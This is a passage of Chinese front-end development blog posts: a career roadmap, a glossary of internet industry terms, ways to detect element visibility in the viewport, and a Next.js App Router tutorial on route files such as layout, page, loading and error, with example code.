* **技术广度（知道各方向的技术栈和架构思想，能整合）**

**深度性能优化（这是“技术深度”）**

“深度性能优化”和“轻量化”包括：

* 本地端轻量化
* 资源动态加载
* 图数据压缩/裁剪
* 2D/3D 渲染加速（GPU / WebGL / WebGPU）
* 网络传输优化（协议、二进制、流媒体）
* 存储和缓存架构

这些内容意味着：

**不仅仅是会写代码，而是要理解系统的性能瓶颈—并设计解决方案。**

这是软件行业的顶尖能力（高薪岗位）。

**云边协同架构（这是“技术广度”）**

* 云 + 边缘节点协同
* 多人在线
* 低延迟、高带宽
* 快响应架构

现代大型系统的趋势：

* 游戏云渲染

* VR / AR 实时协作

* 实时仿真

* 大模型推理前置、边缘推理

* 数据分布式布局

换成能理解的话就是：

> **“一个大型系统不是在一台电脑上跑的，而是由云、边缘节点、客户端共同协作。”**

这已经从“写代码”升级成“设计系统”。

不要只学“工具”（Vue / React / Svelte），而要逐渐学 **原理、底层、性能、架构**。

也就是：不要只学“如何写前端页面”，要慢慢走向“如何设计一个运行高效的系统”。

**技术的广度 = 能理解不同方向如何协作**

这是指：

* 网络怎么传资源
* 渲染怎么做优化
* 数据怎么组织
* 后端怎么处理并发
* 边缘节点怎么降低延迟
* 云端怎么调度负载

简单说就是：**成为能构建系统的人，而不仅是使用系统的人。**

## 路线

### 第一步

做好现在正在做的

### 第二步

补齐底层基础：

* JS 引擎工作原理
* Event Loop / 微宏任务
* 浏览器渲染管线
* WebGL / WebGPU 基础
* 网络协议（HTTP、TCP、WebSocket）

不用学很深，但要有 **认知**。

### 第三步

向架构层次过渡：

* SSR / SPA / SPA+SSR 架构
* 前端性能体系
* 微前端 & 模块化
* 客户端与服务器协作模型
* 边缘加速（CDN、边缘节点）

这一步你已经在往前走：

比如 NestJS + Supabase + CDN 方案，这就是架构能力。

### 第四步

进入真正的系统级学习：

* 分布式系统
* 大型渲染系统
* 多人协作同步
* 云边协同
* 大模型推理架构
* 前端与 GPU 计算的结合

这就是“**高级岗位**”能力。

---

---
url: /posts/ouhmkbxd/index.md
---
# 常见互联网行业术语详解
在软件开发和互联网行业中，常见的术语如 A 端、B 端、C 端、SaaS 等频繁出现。这些术语源于企业商业模式、软件交付方式以及目标用户群体的不同，对开发者理解项目定位和业务逻辑有很大帮助。

## 用户类型与应用端划分{#user-types-and-application-end}

A 端应用是指面向政府机构或大型企业的内部系统。这类应用强调稳定性、安全性和可维护性，通常部署在企业内部网络或私有云环境中，具备较高的访问权限控制和数据保护机制。

B 端应用是指面向企业客户的系统和工具，例如企业管理后台、CRM、ERP、OA 等系统。B 端产品注重功能全面、流程严谨、权限细分，并通常涉及复杂的表单、数据分析和角色管理。

C 端应用是指面向普通消费者的产品，例如电商平台、社交应用、视频平台和内容消费类网站。C 端产品更加注重用户体验、界面美观、响应速度以及个性化推荐算法。

G 端应用是指面向政府用户或政府部门的系统。它具有高安全性、高稳定性和高可控性等特点，常被用于政务、公安、医疗监管等场景。这类系统通常需要符合法规政策要求，并支持政务专网部署。

To B 表示企业面向企业的服务模式，常见于办公软件、财务系统、开发工具等。

To C 表示企业面向个人消费者的服务模式，强调用户增长和活跃度。

To G 表示企业面向政府提供服务或产品，常见于智慧城市、政务系统、招投标项目等。

## 软件服务交付模型{#software-service-delivery-models}

SaaS 是“Software as a Service”的缩写，表示软件即服务。用户无需下载和安装软件，通过浏览器即可访问软件功能。SaaS 常见于在线协作工具、数据统计平台、客户管理系统等。其优势是部署简单、更新快捷、按需付费。

PaaS 是“Platform as a Service”的缩写，表示平台即服务。PaaS 提供一整套软件开发所需的基础架构和运行环境，使开发者可以专注于业务逻辑的开发而无需关心底层服务器或中间件。例如 Vercel、Heroku 就是流行的 PaaS 平台。

IaaS 是“Infrastructure as a Service”的缩写，表示基础设施即服务。IaaS 提供服务器、网络、存储等计算资源的租用，开发者需要自行搭建操作系统和运行环境。阿里云、AWS、腾讯云等提供 IaaS 服务。

## 常见企业系统与平台术语{#common-enterprise-systems-and-platforms}

CRM 是“Customer Relationship Management”的缩写，表示客户关系管理系统。CRM 帮助企业整理客户信息、跟踪销售流程、提升客户转化和维护效率。

ERP 是“Enterprise Resource Planning”的缩写，表示企业资源计划系统。ERP 用于整合企业的人、财、物、产、供、销等核心资源，实现一体化管理。

CMS 是“Content Management System”的缩写，表示内容管理系统。CMS 常用于网站搭建、博客平台、新闻门户等内容密集型产品中。

OMS 是“Order Management System”的缩写，表示订单管理系统。OMS 用于处理订单的创建、跟踪、履行和结算等流程，常见于电商平台。

BI 是“Business Intelligence”的缩写，表示商业智能。BI 系统通过数据分析、可视化报表等方式帮助企业决策者洞察业务趋势、优化运营。

OA 是“Office Automation”的缩写，表示办公自动化系统。OA 系统常用于请假审批、日程管理、考勤、通知公告等日常行政办公事务。

ECS 是“Elastic Compute Service”的缩写，是一种弹性计算服务，由云服务商提供虚拟化的服务器资源。例如阿里云的 ECS 就是一种 IaaS 类型服务，用户可以根据业务需要动态调整配置。

VPS 是“Virtual Private Server”的缩写，表示虚拟专用服务器。VPS 类似于物理服务器的划分单元，适用于中小型网站、应用部署等场景。

CDN 是“Content Delivery Network”的缩写，表示内容分发网络。CDN 通过在全球多个节点缓存内容，提高用户访问速度和稳定性。

DNS 是“Domain Name System”的缩写，表示域名系统。DNS 将域名解析为 IP 地址，是互联网正常访问的重要基础设施。

## 商业交易模式术语{#business-transaction-models}

B2B 是“Business to Business”的缩写，表示企业对企业的交易模式。典型场景包括工业供应链、电商批发平台等。

B2C 是“Business to Consumer”的缩写，表示企业对消费者的销售模式，如天猫、京东等平台。

C2C 是“Consumer to Consumer”的缩写，表示消费者之间的交易模式。最早的代表是 eBay，国内有闲鱼等。

DTC 是“Direct to Consumer”的缩写，表示品牌直接面向消费者销售商品，绕过渠道商或零售商。该模式常见于新消费品牌的电商运营。

这些术语的理解有助于开发者在与产品、运营、设计等角色沟通时更加高效准确，也有助于理解项目的商业定位、技术选型和交付要求。随着技术发展和商业模式创新，新的术语也不断涌现，开发者应持续保持敏感和学习能力。

## Web 系统中的角色分类{#web-system-role-classification}

* **User（普通用户）**
* **Admin（管理员）**
* **Super Admin（超级管理员）**
* **Editor（内容编辑）**
* **Operator（运营人员）**
* **Developer（开发者）**

权限管理常常围绕角色设计，例如 RBAC（基于角色的访问控制）或 ABAC（基于属性的访问控制），还有基于策略的访问控制（PBAC）。这些模型帮助系统管理员定义不同角色的权限范围，确保安全性和灵活性。

---

---
url: /posts/oxz0t3pa/index.md
---
# 判断元素是否在可视区域
“**判断元素是否在可视区域**”的各种实现方案

## 方案总览

| 分类                               | 技术点                                   | 特点                     | 推荐度       |
| ---------------------------------- | ---------------------------------------- | ------------------------ | ------------ |
| **IntersectionObserver**           | 浏览器原生 API，观察元素与视口的交叉状态 | 性能好、最现代、推荐使用 | ⭐⭐⭐⭐⭐        |
| **getBoundingClientRect 手动判断** | 自行计算元素位置与视口边界               | 原理直观，兼容性好       | ⭐⭐⭐⭐         |
| **滚动事件 + 节流**                | 监听 scroll 事件，每次滚动判断位置       | 控制力强但性能较差       | ⭐⭐（老方案） |

**延伸方案**：

| 扩展                                                        | 简介                                    |
| ----------------------------------------------------------- | --------------------------------------- |
| **虚拟列表库**（如 `vue-virtual-scroller`、`react-window`） | 通过“容器高度 + 偏移计算”来判断可视区域 |
| **MutationObserver + IntersectionObserver**                 | 动态 DOM 变化时重新观察                 |
| **requestAnimationFrame 轮询检测**                          | 少量场景下用于自定义动画或高精度判断    |

### IntersectionObserver

[MDN](https://developer.mozilla.org/zh-CN/docs/Web/API/IntersectionObserver)

浏览器提供的专门 API，用于“观察目标元素是否进入或离开视口（viewport）”。

```js
const target = document.querySelector('#demo')

const observer = new IntersectionObserver((entries) => {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      console.log('进入视口')
    } else {
      console.log('离开视口')
    }
  })
}, {
  root: null,          // 观察视口（null表示浏览器视窗）
  rootMargin: '0px',   // 可扩展视口边界（如提前加载）
  threshold: 0.1       // 元素可见比例达到 10% 时触发
})

observer.observe(target)
```

**特点**

* 高性能（浏览器底层优化，不会频繁触发）。
* 支持提前加载（`rootMargin`）。
* 异步触发，不阻塞主线程。
* **推荐用于懒加载图片、文档分片渲染、无限滚动**。

**注意**

* 在旧浏览器（IE）不支持，但现代浏览器都支持。
* 某些低端设备滚动频繁时触发稍有延迟。

### getBoundingClientRect

直接通过 DOM API 计算元素相对视口的位置。

```js
function isInViewport(el) {
  const rect = el.getBoundingClientRect()
  return (
    rect.top < window.innerHeight &&
    rect.bottom > 0
  )
}

window.addEventListener('scroll', () => {
  const el = document.querySelector('#demo')
  if (isInViewport(el)) {
    console.log('在可视区域')
  }
})
```

`getBoundingClientRect()` 是 DOM 元素的一个方法，用来**获取元素相对于视口（viewport）的位置和大小信息**。

它返回一个 **`DOMRect` 对象**，包含以下常用属性：

| 属性     | 含义                                  | 举例说明                                          |
| -------- | ------------------------------------- | ------------------------------------------------- |
| `top`    | 元素顶部相对视口顶部的距离（单位 px） | 如果 `top = 0` 表示刚好贴着浏览器顶部             |
| `bottom` | 元素底部相对视口顶部的距离            | 如果 `bottom = window.innerHeight` 表示刚好到底部 |
| `left`   | 元素左边相对视口左边的距离            | 水平方向位置                                      |
| `right`  | 元素右边相对视口左边的距离            |                                                   |
| `width`  | 元素宽度                              | 等价于 `el.offsetWidth`（但更精确）               |
| `height` | 元素高度                              | 等价于 `el.offsetHeight`                          |

`window.innerHeight` 表示 **浏览器视口的高度（单位：像素）**。

即用户当前可见区域的高度，不包括滚动条以外的内容。

**相关还有**：

* `window.innerWidth` → 浏览器可视宽度。
* `document.documentElement.clientHeight` → 旧浏览器中等价替代。

```js
return (
  rect.top < window.innerHeight &&
  rect.bottom > 0
)
```

这两行是判断“元素是否出现在视口内”的关键。

| 条件                            | 含义                                                       |
| ------------------------------- | ---------------------------------------------------------- |
| `rect.top < window.innerHeight` | 元素的顶部位置在视口底部之上（即元素上边还没完全滚出下方） |
| `rect.bottom > 0`               | 元素的底部在视口顶部之下（即元素还没完全滚出上方）         |

换句话说，只要元素的任意部分在视口内，就返回 `true`。

**特点**

* 原理简单直观。
* 可以自己控制判断逻辑（比如提前加载、局部滚动容器判断）。
* 可在任何场景使用（包括老浏览器）。

**缺点**

* 滚动时每次都计算位置 → 频繁触发会影响性能。
* 需要自己节流/防抖。

**优化**

可以用 `lodash.throttle` 或手写节流函数优化：

```js
let timer = null
window.addEventListener('scroll', () => {
  if (timer) return
  timer = setTimeout(() => {
    timer = null
    // 计算逻辑
  }, 100)
})
```

### scroll 事件 + offsetTop 判断

经典的老派方式，依赖 `element.offsetTop` + `window.scrollY`。

```js
function isInViewport(el) {
  const scrollTop = window.scrollY
  const viewportHeight = window.innerHeight
  const elTop = el.offsetTop
  const elBottom = elTop + el.offsetHeight
  return elBottom > scrollTop && elTop < scrollTop + viewportHeight
}
```

**特点**

* 不用 `getBoundingClientRect`。
* 原理简单，逻辑可控。
* 缺点同样是性能差，滚动频繁时需要节流。

### 虚拟列表（Virtual Scrolling）原理判断

比如 `vue-virtual-scroller`、`react-window` 用到的思想。

核心思路不是“观察每个元素”，而是：

* **根据滚动距离（scrollTop）和容器高度计算当前可见索引**；
* 只渲染该索引范围内的项目。

**思想示例**：

```js
const visibleStart = Math.floor(scrollTop / itemHeight)
const visibleEnd = visibleStart + Math.ceil(viewportHeight / itemHeight)
```

这种方式性能极高（常用于上万行的长列表），

但适合结构统一的内容（如表格、列表），不太适合 Markdown 这种高度不固定的内容。

---

---
url: /posts/phrwlvhc/index.md
---
# 项目结构
## 顶级文件夹

```bash
npx create-next-app@latest next-app-demo --app
cd next-app-demo
npm run dev
```

`--app` 代表我们使用 **App Router** 模式。Next.js 会自动创建好顶级文件夹结构。

在 `app/about/page.tsx` 中添加一个页面，之后这个页面会对应 `/about` 路由：

```tsx
// app/about/page.tsx
export default function AboutPage() {
  return (
    <main>
      <h1>关于我们</h1>
      <p>这是一个测试页面，用来学习 Next.js 路由系统。</p>
    </main>
  );
}
```

> 只要在 `app/` 下放一个 `xxx/page.tsx` 文件，就会自动生成 `/xxx` 路由！

添加一个公共布局 layout.tsx（页面外壳）

```tsx
// app/layout.tsx
export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="zh">
      <head />
      <body>
        <header style={{ backgroundColor: '#eee', padding: '10px' }}>
          <a href="/">首页</a> | <a href="/about">关于</a>
        </header>
        <hr />
        {children}
      </body>
    </html>
  );
}
```

所有页面都会被包裹在这个 `layout.tsx` 里，实现统一导航和结构。

你可以把任意一张图片拖进 `public/` 目录，例如 `public/logo.png`，然后我们在首页引用它：

```tsx
// app/page.tsx
export default function HomePage() {
  return (
    <main>
      <h1>欢迎来到首页</h1>
      <img src="/logo.png" alt="Logo" width={150} />
    </main>
  );
}
```

***

**`{ children: React.ReactNode; }`和 `Readonly<{ children: React.ReactNode; }>` 的区别**：

**区别详解**

`{ children: React.ReactNode; }`

* 这个类型声明定义了一个普通的 JavaScript 对象字面量类型。
* 它表示 `props` 对象中有一个名为 `children` 的属性，其值可以是任何 `React.ReactNode` 类型（包括 React 元素、字符串、数字、布尔值、null、undefined 或这些类型的数组）。
* **可变性：** 从 TypeScript 的角度来看，这个对象及其属性在理论上是**可变**的。这意味着如果你在组件内部尝试重新分配 `props.children`（尽管在 React 中这是不推荐且通常没有意义的），TypeScript 默认不会报错。

`Readonly<{ children: React.ReactNode; }>`

* 这个类型声明使用了 TypeScript 的 `Readonly<T>` 工具类型。
* `Readonly<T>` 的作用是创建一个新类型，该类型的所有属性都变为 `readonly`（只读）。
* 因此，`Readonly<{ children: React.ReactNode; }>` 意味着 `props` 对象本身是只读的，并且它的 `children` 属性也是**只读**的。
* **不可变性：** 在编译时，TypeScript 会强制执行这种只读性。如果你在组件内部尝试重新分配 `props.children` 或者 `props` 本身（例如 `props.children = 'new content';`），TypeScript 将会抛出编译错误，因为 `children` 被声明为 `readonly`。

**`Readonly` 的重要性**：

* **强化 React 原则：** 在 React 中，一个核心原则是组件的 props 应该是**不可变**的（Immutable）。组件不应该修改它们接收到的 props。`Readonly` 工具类型在 TypeScript 层面显式地强制和表达了这一原则。
* **类型安全：** 它提供了一个额外的类型安全层。即使开发者不小心尝试修改了 props，TypeScript 也会在编译时捕获到这个错误，而不是在运行时才发现问题。这有助于避免潜在的 bug。
* **代码意图清晰：** 使用 `Readonly` 明确地向其他开发者传达了该对象或其属性不应该被修改的意图，提高了代码的可读性和可维护性。

**总结**

在 Next.js 的根布局中，`children` 属性通常是 React 传递给组件的内容，你几乎永远不会需要修改它。

* **功能上：** 两者在运行时行为上没有区别，因为 React 本身就期望 props 是不可变的。
* **类型安全和规范上：** 使用 `Readonly<{ children: React.ReactNode; }>` 是**更推荐**的做法。它提供了更严格的类型检查，并明确地表达了 React 中 props 应该保持只读的约定。这是一种更好的工程实践。

因此，虽然 `{ children: React.ReactNode; }` 也能工作，但 `Readonly<{ children: React.ReactNode; }>` 是一个更健壮、更符合 React 和 TypeScript 最佳实践的选择。

***

## 路由文件

App Router 的**路由文件角色**，也就是在 `src/app/` 里，**不同文件名的组件扮演不同的功能角色**。

| 文件名            | 核心职责             | 关键特性                                                      | 何时使用？                                                                       |
| ----------------- | -------------------- | ------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| `layout.js`       | **共享UI布局**       | 状态保持、不重渲染、可嵌套、必须包含 `children`               | 当你需要为多个页面添加相同的导航栏、页脚或侧边栏时。                             |
| `page.js`         | **页面独有UI**       | 定义可公开访问的路由、可异步获取数据、路由树的叶子节点        | 创建一个路由的具体页面内容，例如网站首页、文章详情页。                           |
| `loading.js`      | **加载状态UI**       | Suspense集成、自动应用、即时显示、优化用户体验                | 当页面需要时间加载数据时，提供一个临时的加载动画或骨架屏。                       |
| `not-found.js`    | **404未找到UI**      | 捕获`notFound()`调用或无效URL、比`error.js`优先级高           | 当用户访问不存在的页面或内容时，显示一个友好的“未找到”提示。                     |
| `error.js`        | **运行时错误UI**     | **必须是客户端组件**、隔离错误、可尝试恢复 (`reset`)          | 捕获页面或其子组件的数据获取失败或其他运行时错误，防止整个应用崩溃。             |
| `global-error.js` | **全局根布局错误UI** | **必须是客户端组件**、捕获根`layout.js`的错误、应用的最终防线 | `layout.js`本身发生错误时（如获取全局用户状态失败），提供一个全局的回退页面。    |
| `route.js`        | **API服务端点**      | 不渲染UI、处理HTTP请求 (GET, POST等)、返回`Response`对象      | 当你需要创建后端API接口，供前端或其他服务调用时。                                |
| `template.js`     | **重新渲染的布局**   | **状态不保留**、每次导航都重新挂载、适用于进入/离开动画       | 当你希望页面在每次切换时都执行某些逻辑（如动画、日志记录）时。                   |
| `default.js`      | **并行路由回退UI**   | **仅用于并行路由**、避免部分404、提供默认视图                 | 在并行路由设置中，当某个路由插槽没有匹配的活动状态时，为其提供一个默认显示内容。 |

### layout.tsx - 全局布局

**用途**：定义网站的整体结构，如导航栏、页脚，它不会因为页面切换而重新渲染，保持状态。
**场景**：为整个博客添加统一的导航和版权信息。

**文件路径**：`app/layout.tsx`

```tsx
import Link from 'next/link';
import './globals.css';	

export const metadata = {
  title: 'My Awesome Blog',
  description: 'A Next.js 14 blog example.',
};

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="zh-CN">
      <body>
        <header style={{ padding: '1rem', borderBottom: '1px solid #ccc', background: '#f0f0f0' }}>
          <nav>
            <Link href="/" style={{ marginRight: '1rem' }}>首页</Link>
            <Link href="/posts">文章</Link>
          </nav>
        </header>
        <main style={{ padding: '1rem' }}>{children}</main>
        <footer style={{ padding: '1rem', borderTop: '1px solid #ccc', marginTop: '2rem', textAlign: 'center' }}>
          &copy; 2024 My Awesome Blog. All rights reserved.
        </footer>
      </body>
    </html>
  );
}
```

### page.tsx - 页面内容

**用途**：定义特定路由路径下的UI内容，是用户访问URL时看到的主体。
**场景**：创建博客首页和文章列表页。

**文件路径**：`app/page.tsx`  (首页)，就是 http://localhost:3000/ 和 `app/posts/page.tsx`  (文章列表页)，就是 http://localhost:3000/posts

```txt
app/
├── layout.tsx    全局布局
├── page.tsx      首页
├── about/
|   └── page.tsx
├── contact/      联系我们
|   └── page.tsx
├── posts/        文章列表
|   └── page.tsx
|   └── [id]/
```

`app/page.tsx`：

```tsx
export default function HomePage() {
  return (
    <div>
      <h1>欢迎来到我的博客！</h1>
      <p>在这里你可以找到最新的技术文章和个人思考。</p>
    </div>
  );
}
```

`app/posts/page.tsx`：

```tsx
interface Post {
  id: string;
  title: string;
}

async function getPosts(): Promise<Post[]> {
  // 模拟网络延迟和数据获取（假设我们有一个API来获取文章列表)
  const res = await fetch('http://localhost:3000/api/posts', { cache: 'no-store' }); // 禁用缓存以便每次都能看到loading
  if (!res.ok) {
    throw new Error('Failed to fetch posts');
  }
  return res.json();
}

export default async function PostsPage() {
  const posts = await getPosts();

  return (
    <div>
      <h2>所有文章</h2>
      <ul>
        {posts.map((post) => (
          <li key={post.id}>
            <a href={`/posts/${post.id}`}>{post.title}</a>
          </li>
        ))}
      </ul>
    </div>
  );
}
```

### loading.tsx - 加载UI

**用途**：当包含异步数据获取的页面或布局正在加载数据时，显示回退UI。
**场景**：当 `app/posts/page.tsx` 正在加载数据时，显示一个骨架屏。

**文件路径**：`app/posts/loading.tsx`

```tsx
export default function PostsLoading() {
  return (
    <div style={{ padding: '1rem', border: '1px dashed #ccc', background: '#f9f9f9' }}>
      <h3>正在努力加载文章列表...</h3>
      <p>请稍候，精彩内容即将呈现！</p>
      {/* 模拟骨架屏 */}
      <div style={{ height: '20px', width: '80%', background: '#eee', marginBottom: '10px' }}></div>
      <div style={{ height: '20px', width: '90%', background: '#eee', marginBottom: '10px' }}></div>
      <div style={{ height: '20px', width: '70%', background: '#eee' }}></div>
    </div>
  );
}
```

`loading.tsx` 的执行机制，App Router 专属

当你访问的路由是 **异步组件 + 页面级别**，Next.js 会：

1. 显示当前路径下的 `loading.tsx`（如果存在），否则在上一级目录找 `loading.tsx`
2. 等待 `page.tsx` 的组件异步加载完成
3. 渲染实际页面

触发条件总结：

| 条件                                                          | 会不会触发 `loading.tsx` |
| ------------------------------------------------------------- | ------------------------ |
| 页面是同步组件                                                | 不会                     |
| 页面组件中使用了 `fetch()`、`await`（服务器组件）             | 会                       |
| 页面使用了 `React.lazy`、`Suspense` 加载子组件                | 不会                     |
| 子目录有异步 page.tsx（例如 `src/app/contact/form/page.tsx`） | 会                       |

示例结构：

```txt
src/
├── app/
│   └── contact/
│       ├── loading.tsx    会自动显示
│       ├── form/
│       │   └── page.tsx   这个页面异步加载
```

当然上述的`/form/page.tsx`内部也得是异步组件，否则不会触发`loading.tsx`

```tsx
// src/app/contact/form/page.tsx
export default async function FormPage() {
    await new Promise(resolve => setTimeout(resolve, 2000));
  return <div>表单页面</div>;
}
```

错误示例（不会触发）：

```tsx
// src/app/contact/page.tsx
import { Suspense } from 'react';
import SlowComponent from './SlowComponent';

export default function Page() {
  return (
    <Suspense fallback={null}>
      <SlowComponent />
    </Suspense>
  );
}
```

在加载异步组件的页面中，`loading.tsx` 不会自动显示。你必须用 `<Suspense fallback={<Loading />}>` 手动处理。

**页面级异步加载** → 用 `loading.tsx`
**组件级懒加载或异步组件** → 用 `<Suspense fallback={...}>`

### not-found.tsx - 404页面

**用途**：当用户访问了不存在的路径，或者在 RSC/Client Component 中调用 `notFound()` 函数时，渲染此页面。
**场景**：为整个博客提供一个自定义的404页面。

**文件路径**：`app/not-found.tsx`

```tsx
import Link from 'next/link';

export default function NotFound() {
  return (
    <div style={{ textAlign: 'center', padding: '2rem' }}>
      <h1>404 - 页面未找到</h1>
      <p>抱歉，您要查找的页面可能已被移动或删除，或者您输入了错误的地址。</p>
      <Link href="/" style={{ display: 'inline-block', marginTop: '1.5rem', padding: '0.8rem 1.5rem', background: '#0070f3', color: 'white', borderRadius: '5px', textDecoration: 'none' }}>
        返回首页
      </Link>
    </div>
  );
}
```

可以在 `app/posts/[id]/page.tsx` 中模拟调用 `notFound()` 来测试，比如当文章ID不存在时：

```tsx {8}
// app/posts/[id]/page.tsx 摘录
import { notFound } from 'next/navigation';

async function getPost(id: string) {
  const res = await fetch(`http://localhost:3000/api/posts/${id}`);
  if (!res.ok) {
    if (res.status === 404) {
      notFound(); // 如果API返回404，触发not-found.tsx
    }
    throw new Error('Failed to fetch post');
  }
  return res.json();
}
```

### error.tsx - 运行时错误UI

**用途**：为同级或子级的客户端组件或服务器组件捕获运行时错误，并提供一个错误边界。它必须是客户端组件。
**场景**：当请求单个文章详情数据失败时，局部显示错误信息和重试按钮。

**文件路径**：`app/posts/[id]/error.tsx`

```tsx
'use client'; // 🚩 必须是客户端组件

import { useEffect } from 'react';

export default function PostError({
  error,
  reset,
}: {
  error: Error & { digest?: string };
  reset: () => void;
}) {
  useEffect(() => {
    // Optionally log the error to an error reporting service
    console.error(error);
  }, [error]);

  return (
    <div style={{ padding: '1rem', border: '2px solid red', background: '#ffebeb', color: 'red' }}>
      <h2>文章加载出错了！</h2>
      <p>错误详情: {error.message}</p>
      <button
        onClick={
          // Attempt to recover by trying to re-render the segment
          () => reset()
        }
        style={{ marginTop: '1rem', padding: '0.5rem 1rem', cursor: 'pointer' }}
      >
        尝试重新加载
      </button>
    </div>
  );
}
```

要测试这个错误页面，你可以修改 `app/api/posts/[id]/route.ts` 暂时抛出一个错误。

```tsx
// app/api/posts/[id]/route.ts
export async function GET(request: Request, { params }: { params: { id: string } }) {
  throw new Error('Failed to fetch post');
}
```

### global-error.tsx - 全局根布局错误UI

**用途**：捕获并处理所有未被其他 `error.tsx` 捕获的、尤其是**根 `layout.tsx` 中发生的错误**。它会取代生产环境下的默认错误页面。
**场景**：当网站加载时发生一些不可恢复的全局性错误（例如根布局中的数据获取失败），提供一个最终的错误回退页面。

**文件路径**：`app/global-error.tsx`

```tsx
'use client'; // 必须是客户端组件

import { useEffect } from 'react';

export default function GlobalError({
  error,
  reset,
}: {
  error: Error & { digest?: string };
  reset: () => void;
}) {
  useEffect(() => {
    // 这是捕获根布局错误的最后一道防线，应上报到错误监控服务
    console.error('全局错误:', error);
  }, [error]);

  return (
    <html>
      <body>
        <div style={{ textAlign: 'center', padding: '2rem', background: '#f8d7da', color: '#721c24', border: '1px solid #f5c6cb' }}>
          <h1>抱歉，网站遇到了一些问题！</h1>
          <p>错误详情: {error.message}</p>
          <p>请尝试刷新页面，或稍后再试。</p>
          <button
            onClick={() => reset()}
            style={{ marginTop: '1.5rem', padding: '0.8rem 1.5rem', background: '#dc3545', color: 'white', borderRadius: '5px', border: 'none', cursor: 'pointer' }}
          >
            刷新页面
          </button>
        </div>
      </body>
    </html>
  );
}
```

如果要测试这个，你需要在一个更上层、例如 app/layout.tsx 中的数据获取逻辑里，故意抛出一个错误，但是这个错误页面只会显示在开发环境，生产环境会显示默认的错误页面。

```tsx
// app/layout.tsx
export default function RootLayout({ children }: { children: React.ReactNode }) {
  throw new Error('Failed to fetch layout data');
}
```

### route.ts - API端点

**用途**：创建后端API接口，不渲染任何UI，只处理HTTP请求并返回数据。
**场景**：提供获取文章列表和单篇文章详情的API。

**文件路径**：`app/api/posts/route.ts` (文章列表) 和 `app/api/posts/[id]/route.ts` (单篇文章)

`app/api/posts/route.ts`:

```tsx
import { NextResponse } from 'next/server';

const dummyPosts = [
  { id: '1', title: '理解 Next.js App Router', content: '这是一篇关于Next.js App Router的深入解析。' },
  { id: '2', title: 'React Server Components 实践', content: '探索React Server Components的强大功能。' },
  { id: '3', title: 'TypeScript 在前端开发中的应用', content: '如何在项目中高效使用TypeScript。' },
];

export async function GET() {
  // 模拟网络延迟
  await new Promise(resolve => setTimeout(resolve, 1000));
  return NextResponse.json(dummyPosts);
}

export async function POST(request: Request) {
  const newPost = await request.json();
  // ... 保存到数据库逻辑
  console.log('Received new post:', newPost);
  return NextResponse.json({ message: 'Post created', post: newPost }, { status: 201 });
}
```

`app/api/posts/[id]/route.ts`:

```tsx
import { NextResponse } from 'next/server';

const dummyPosts = [
  { id: '1', title: '理解 Next.js App Router', content: '这是一篇关于Next.js App Router的深入解析。' },
  { id: '2', title: 'React Server Components 实践', content: '探索React Server Components的强大功能。' },
  { id: '3', title: 'TypeScript 在前端开发中的应用', content: '如何在项目中高效使用TypeScript。' },
];

export async function GET(
  request: Request,
  { params }: { params: { id: string } }
) {
  // 模拟网络延迟
  await new Promise(resolve => setTimeout(resolve, 500));
  const { id } = params;
  const post = dummyPosts.find(p => p.id === id);

  if (!post) {
    return new NextResponse('Post not found', { status: 404 });
  }

  return NextResponse.json(post);
}

export async function DELETE(
  request: Request,
  { params }: { params: { id: string } }
) {
  const { id } = params;
  // ... 删除逻辑
  console.log(`Deleting post with ID: ${id}`);
  return new NextResponse(null, { status: 204 }); // No Content
}
```

多个动态参数：

```http
src/app/api/user/[userId]/posts/[postId]/route.ts
```

对应的访问路径是：

```http
/api/user/42/posts/123
```

处理函数中：

```tsx
export async function GET(req: NextRequest, { params }: { params: { userId: string; postId: string } }) {
  const { userId, postId } = params;
  // ...
}
```

### template.tsx - 重新渲染的布局

**用途**：每次导航到它的子路由时，它都会重新挂载，使得其内部的状态、副作用和CSS动画能够重新运行。
**场景**：添加一个全局的页面切换淡入动画，或者在每次页面加载时清除一些临时状态。

**文件路径**：`app/template.tsx`

```tsx
'use client';

import { motion, AnimatePresence } from 'framer-motion'; // 假设安装了framer-motion
import { usePathname } from 'next/navigation';

const pageVariants = {
  initial: { opacity: 0, y: 20 },
  animate: { opacity: 1, y: 0 },
  exit: { opacity: 0, y: -20 },
};

export default function Template({ children }: { children: React.ReactNode }) {
  const pathname = usePathname(); // 获取当前路径

  return (
    // AnimatePresence确保在组件离开时也能执行动画
    <AnimatePresence mode="wait">
      <motion.div
        key={pathname} // 关键：pathname变化时强制重新渲染 motion.div
        variants={pageVariants}
        initial="initial"
        animate="animate"
        exit="exit"
        transition={{ duration: 0.3 }}
      >
        {children}
      </motion.div>
    </AnimatePresence>
  );
}
```

注意：这个例子使用了第三方动画库 `framer-motion`。你需要先安装它：`npm install framer-motion`

### default.tsx - 并行路由回退页面

**用途**：仅用于并行路由 (Parallel Routes)。当一个并行路由插槽没有被URL激活匹配时，它会渲染该插槽的 `default.tsx` 作为回退内容。
**场景**：在一个管理面板中，有两个并行区域：`@team`（团队列表）和 `@metrics`（数据指标）。当用户访问 `/dashboard` 但没有指定具体的团队或指标视图时，这两个插槽可以显示一个默认的介绍信息。

**文件结构**：

```txt
app/dashboard/
├── layout.tsx         # 仪表盘布局
├── page.tsx           # 仪表盘主页（可以为空或简单欢迎）
├── @team/
│   ├── page.tsx       # 团队列表页
│   └── default.tsx    # 团队插槽的默认回退
└── @metrics/
    ├── page.tsx       # 数据指标页
    └── default.tsx    # 数据指标插槽的默认回退	
```

**代码实现**：

`app/dashboard/layout.tsx`:

```tsx
import React from 'react';

export default function DashboardLayout({
  children,
  team, // @team slot
  metrics, // @metrics slot
}: {
  children: React.ReactNode;
  team: React.ReactNode;
  metrics: React.ReactNode;
}) {
  return (
    <div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: '2rem', padding: '2rem' }}>
      <aside style={{ borderRight: '1px solid #eee', paddingRight: '2rem' }}>
        <h2>仪表盘导航</h2>
        <ul>
          <li><a href="/dashboard">总览</a></li>
          <li><a href="/dashboard/team">团队视图</a></li>
          <li><a href="/dashboard/metrics">数据视图</a></li>
        </ul>
        <hr style={{ margin: '1rem 0' }} />
        {/* 并行路由插槽 */}
        <section>
          <h3>团队区</h3>
          {team}
        </section>
        <section style={{ marginTop: '1rem' }}>
          <h3>指标区</h3>
          {metrics}
        </section>
      </aside>
      <main>
        {children} {/* 主内容区域，如 app/dashboard/page.tsx */}
      </main>
    </div>
  );
